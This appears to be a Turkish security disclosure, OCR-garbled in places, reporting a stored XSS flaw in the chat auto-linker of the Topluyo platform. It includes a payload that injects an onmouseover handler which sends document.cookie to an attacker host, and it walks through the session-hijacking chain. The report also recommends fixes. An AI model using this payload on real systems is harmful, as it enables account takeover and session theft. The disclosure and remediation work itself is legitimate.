Stored XSS via Attribute Injection

Topluyo — Sunucu Kanal Sohbet Alam

1. Ozet

Topluyo platformunda sunucu kanallarindaki sohbet alaninda https: // ile baslayan kullanici
girdileri otomatik olarak <a> etiketi icerisine yerlestirilmektedir.

Girdi isleme sirasinda < ve > karakterleri encode edilmesine ragmen " (cift tirnak) karakterine
output encoding uygulanmamaktadir.

Bu durum attribute injection’a ve kalic1 (stored) XSS zafiyetine yol agmaktadur.

Authentication cookie tizerinde HttpOnly flag bulunmadig igin saldirgan document . cookie
lizerinden oturum bilgilerini okuyabilmektedir. Bu durum dogrudan session hijacking ile
sonu¢lanmaktadir.

2. Etkilenen Bilesenler

* Sunucu kanallar1 sohbet alani
* Otomatik link olusturma (auto-linker) mekanizmasi

* Authentication cookie yapilandirmasi

3. Teknik Detay

3.1 Sistem Davranisi
Kullama girdisi:

https://site.com
Sistem tarafindan su sekilde render edilmektedir:

<a href="https://site.com">https://site.com</a>

Ancak cift tirnak karakteri encode edilmedigi icin asagidaki payload ¢alismaktadir:

https://site.com" onmouseover="fetch('https://site.com/'+document.cookie)

Render edilen cikti:

<a href="https://site.com"
onmouseover="fetch('https://attacker.com/'+document.cookie)">



Bu durumda saldirgan mevcut attribute context’ten ¢ikarak yeni bir HTML attribute enjekte
edebilmektedir.

Payload veritabanina kaydedildigi i¢in kalicidir ve her render edildiginde tekrar ¢alismaktadir.

4. Zafiyet Tiiru
» Stored XSS (Persistent)

* Attribute Injection
* Improper Output Encoding

* CWE-79

5. Saldir1 Zinciri

1. Saldirgan payload iceren mesaj génderir.

2. Mesaj veritabanina kaydedilir.

3. Mesaj her goriintiilendiginde JavaScript kodu calisir.

4. HttpOnly flag bulunmadig icin document . cookie okunabilir.
5. Session bilgisi saldirgana iletilir.

6. Saldirgan calinan session ile kullanici hesabina erisim saglar.

Eger mesaj bir yonetici tarafindan goériintiilenirse, yonetici hesabinin ele gecirilmesi miimkiindjir.

6. Risk Degerlendirmesi (CVSS 3.1 Tahmini)

* Attack Vector: Network

* Attack Complexity: Low

* Privileges Required: None

» User Interaction: Required

* Scope: Changed

* Confidentiality Impact: High
* Integrity Impact: High

* Availability Impact: Low

Tahmini Skor: 9.6 (Critical)



7. Etki

» Kaullanici oturumlarinin ele gegirilmesi
* Yonetici hesabinin ele gecirilmesi

* Hesap devralma (Account Takeover)

* Platform genelinde giiven kaybi

* Persistent oldugu icin kalic1 saldir yiizeyi olugsmasi

8. Onerilen Céziim

1. Attribute context’e uygun output encoding uygulanmalidir:

« " . &quot;

o 'L &#X27;

e & - &amp;
2. Otomatik link olusturma mekanizmas giivenli URL parser ile yeniden ele alinmalidur.
3. Authentication cookie asagidaki sekilde yapilandirilmahdir:

* HttpOnly = true

* Secure = true

* SameSite = Strict veya Lax

4. Content Security Policy (CSP) header uygulanmalidir.

9. Test Notu

Bu giivenlik testi izole hesaplar iizerinden, kontrollii sekilde gerceklestirilmistir. Uretim verileri
zarar gormemistir.
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